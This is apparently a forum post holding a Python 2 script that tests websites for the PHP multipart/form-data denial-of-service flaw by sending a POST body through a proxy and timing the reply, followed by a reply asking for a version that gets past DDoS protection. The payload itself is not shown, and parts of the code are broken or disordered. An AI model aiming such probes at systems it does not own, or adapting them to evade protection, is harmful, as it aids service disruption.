#!/usr/bin/env python
# Author: scott
# coding:utf-8
#适用于python2
if __name__ == '__main__':
#unittest.main()
pass
import sys
import urllib
import urllib2
import datetime
import re
import os
import threading
import time
import random
from optparse import OptionParser
from multiprocessing import Pool
import string
import random
#----------------------------------------------------------------------
def generate_string(stat, length):
"""(str,int)->str
generate string as required."""
stat_final = ''
if 'u' in str(stat).lower():
stat_final += string.ascii_uppercase
if 'l' in str(stat).lower():
stat_final += string.ascii_lowercase
if 'd' in str(stat).lower():
stat_final += string.digits
return ''.join(random.SystemRandom().choice(stat_final) for _ in range(int(length)))
def check_php_multipartform_dos(url, post_body, headers, ip):
try:
proxy_handler = urllib2.ProxyHandler({"http": ip})
null_proxy_handler = urllib2.ProxyHandler({})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
req = urllib2.Request(url)
for key in headers.keys():
req.add_header(key, headers[key])
starttime = datetime.datetime.now()
fd = urllib2.urlopen(req, post_body)
html = fd.read()
endtime = datetime.datetime.now()
usetime = (endtime - starttime).seconds
if(usetime > 5):
result = url + " is vulnerable"
else:
if(usetime > 3):
result = "need to check normal respond time"
return [result, usetime]
except KeyboardInterrupt:
exit()
使用道具 举报
能不能发个能穿盾的
使用道具 举报